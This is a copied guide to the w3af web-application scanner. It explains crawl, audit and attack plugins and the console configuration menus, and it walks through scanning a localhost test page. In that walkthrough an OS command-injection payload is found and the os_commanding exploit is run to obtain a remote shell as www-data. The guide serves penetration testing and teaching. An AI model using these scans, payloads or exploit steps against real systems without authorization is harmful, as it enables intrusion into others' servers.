w3af的使用

http://docs.w3af.org/en/latest/phases.html

Before running w3af users need to know how the application works behind the scenes. This will enable users to be more efficient in the process of identifying and exploiting vulnerabilities.

The framework has three main types of plugins: crawl,audit and attack.

Crawl plugins

They have only one responsibility, finding new URLs, forms, and other injection points. A classic example of a discovery plugin isthe web spider. This plugin takes a URL as input and returns one or more injection points.

When a user enables more than one plugin of this type, they are run in a loop: Ifplugin A finds a new URL in the first run, thew3af core will send that URL toplugin B. Ifplugin B then finds a new URL, it will be sent toplugin A. This process will go on until all plugins have run and no more information about the application can be found.

Audit plugins

Take the injection points found by crawl plugins and send specially crafted data to all in order to identify vulnerabilities. A classic example of an audit plugin is one that searches for SQL injection vulnerabilities by sendinga'b"c to all injection points.

Attack plugins

Their objective is to exploit vulnerabilities found by audit plugins. They usually return a shell on the remote server, or a dump of remote tables in the case of SQL injection exploits.

Scan configuration

After configuring the crawl andaudit plugins, and setting the target URL the user starts the scan and waits for the vulnerabilities to appear in the user interface.

Any vulnerabilities which are found during the scan phase are stored in a knowledge base; which is used as the input for theattack plugins. Once the scan finishes the user will be able to execute theattack plugins on the identified vulnerabilities.

In most cases we recommend running w3af with the following configuration:

• crawl: web_spider
• audit: Enable all
• grep: Enable all

Plugin configuration

The plugins are configured using the “plugins” configuration menu.

w3af>>> plugins
w3af/plugins>>> help
|-----------------------------------------------------------------------------|
| list             | List available plugins.                                  |
|-----------------------------------------------------------------------------|
| back             | Go to the previous menu.                                 |
| exit             | Exit w3af.                                               |
|-----------------------------------------------------------------------------|
| output           | View, configure and enable output plugins                |
| audit            | View, configure and enable audit plugins                 |
| crawl            | View, configure and enable crawl plugins                 |
| bruteforce       | View, configure and enable bruteforce plugins            |
| grep             | View, configure and enable grep plugins                  |
| evasion          | View, configure and enable evasion plugins               |
| infrastructure   | View, configure and enable infrastructure plugins        |
| auth             | View, configure and enable auth plugins                  |
| mangle           | View, configure and enable mangle plugins                |
|-----------------------------------------------------------------------------|
w3af/plugins>>>

All plugins except the attack plugins can be configured within this menu. Lets list all the plugins of theaudit type:

w3af>>> plugins
w3af/plugins>>> list audit
|-----------------------------------------------------------------------------|
| Plugin name        | Status | Conf | Description                            |
|-----------------------------------------------------------------------------|
| blind_sqli         |        | Yes  | Identify blind SQL injection           |
|                    |        |      | vulnerabilities.                       |
| buffer_overflow    |        |      | Find buffer overflow vulnerabilities.  |
...

To enable the xss andsqli plugins, and then verify that the command was understood by the framework, we issue this set of commands:

w3af/plugins>>> audit xss, sqli
w3af/plugins>>> audit
|----------------------------------------------------------------------------|
| Plugin name        | Status  | Conf | Description                          |
|----------------------------------------------------------------------------|
| sqli               | Enabled |      | Find SQL injection bugs.             |
| ssi                |         |      | Find server side inclusion           |
|                    |         |      | vulnerabilities.                     |
| ssl_certificate    |         | Yes  | Check the SSL certificate validity   |
|                    |         |      | (if https is being used).            |
| un_ssl             |         |      | Find out if secure content can also  |
|                    |         |      | be fetched using http.               |
| xpath              |         |      | Find XPATH injection                 |
|                    |         |      | vulnerabilities.                     |
| xss                | Enabled | Yes  | Identify cross site scripting        |
|                    |         |      | vulnerabilities.                     |
| xst                |         |      | Find Cross Site Tracing              |
|                    |         |      | vulnerabilities.                     |
|----------------------------------------------------------------------------|
w3af/plugins>>>

Or if the user is interested in knowing exactly what a plugin does, he can also run thedesc command like this:

w3af/plugins>>> audit desc xss

This plugin finds Cross Site Scripting (XSS) vulnerabilities.

One configurable parameters exists:
    - persistent_xss

To find XSS bugs the plugin will send a set of javascript strings to
every parameter, and search for that input in the response.

The "persistent_xss" parameter makes the plugin store all data
sent to the web application and at the end, request all URLs again
searching for those specially crafted strings.

w3af/plugins>>>

Now we know what this plugin does, but let’s check its internals:

w3af/plugins>>> audit config xss
w3af/plugins/audit/config:xss>>> view
|-----------------------------------------------------------------------------|
| Setting        | Value | Description                                        |
|-----------------------------------------------------------------------------|
| persistent_xss | True  | Identify persistent cross site scripting           |
|                |       | vulnerabilities                                    |
|-----------------------------------------------------------------------------|
w3af/plugins/audit/config:xss>>> set persistent_xss False
w3af/plugins/audit/config:xss>>> back
The configuration has been saved.
w3af/plugins>>>

The configuration menus for the plugins also have the set command for changing the parameters values, and theview command for listing existing values. On the previous example we disabled persistent cross site scripting checks in the xss plugin.

plugins
output text_file
output config text_file
set output_file output-w3af.txt
set verbose True
back

Scanning only one directory

When auditing a site it’s common to be interested in scanning only the URLs inside aspecific directory. In order to achieve this task follow these steps:

• Set the target URL to http://domain/directory/
• Enable all audit plugins
• Enable the crawl.web_spider plugin
• In crawl.web_spider set theonly_forward flag to True

Using this configuration the crawler will only yield URLs which are inside /directory.Then audit plugins will only scan the URLs inside that directory.

w3af allows users to exploit Web application vulnerabilities in an automated manner. The vulnerabilities to be exploited can be identified usingaudit plugins or manually by the user (and then the vulnerability details are provided tow3af).

During the scan vulnerabilities are found and stored in specific locations of the knowledge base, from where exploit plugins can read and use the stored information to exploit the vulnerability. Exploiting a vulnerability identified by an audit plugin is easy:

w3af>>> plugins
w3af/plugins>>> audit os_commanding
w3af/plugins>>> back
w3af>>> target
w3af/config:target>>> set target http://localhost/w3af/os_commanding/v.php?command=f0as9
w3af/config:target>>> back
w3af>>> start
Found 1 URLs and 1 different points of injection.
The list of URLs is:
- http://localhost/w3af/os_commanding/v.php
The list of fuzzable requests is:
- http://localhost/w3af/os_commanding/v.php | Method: GET | Parameters: (command)
Starting os_commanding plugin execution.
OS Commanding was found at: "http://localhost/w3af/os_commanding/v.php", using HTTP method GET.
The sent data was: "command=+ping+-c+9+localhost". The vulnerability was found in the request with id 5.
Finished scanning process.
w3af>>> exploit
w3af/exploit>>> exploit os_commanding
os_commanding exploit plugin is starting.
Vulnerability successfully exploited. This is a list of available shells:
- [0] <os_commanding_shell object (ruser: "www-data" | rsystem: "Linux brick 2.6.24-19")>
Please use the interact command to interact with the shell objects.
w3af/exploit>>> interact 0
Execute "end_interaction" to get out of the remote shell.
Commands typed in this menu will be runned on the remote web server.
w3af/exploit/os_commanding-0>>> ls
v.php
v2.php
v3.php
w3af/exploit/os_commanding-0>>> end_interaction
w3af/exploit>>> back
w3af>>>

Exploiting one you’ve found manually, requires you to provide some input:

w3af>>> kb
w3af/kb>>> help
| list            | List the items in the knowledge base.
| add             | Add a vulnerability to the KB
w3af/kb>>> add os_commanding
w3af/kb/config:os_commanding>>> view
| operating_system         | Remote operating system (linux or windows).
| name                     | Vulnerability name (eg. SQL Injection)
| url                      | URL (without query string parameters)
| vulnerable_parameter     | Vulnerable parameter
| separator                | Command separator used for injecting commands.
| data                     | Query string or postdata parameters in url-encoded form
| method                   | HTTP method
w3af/kb/config:os_commanding>>>

You simply set all the configuration settings and then executesave and back to store your vulnerability in the knowledge base. Once the information is there you’ll be able to follow the same steps:

w3af>>> exploit
w3af/exploit>>> exploit os_commanding
os_commanding exploit plugin is starting.
Vulnerability successfully exploited. This is a list of available shells:
- [0] <os_commanding_shell object (ruser: "www-data" | rsystem: "Linux brick 2.6.24-19")>
Please use the interact command to interact with the shell objects.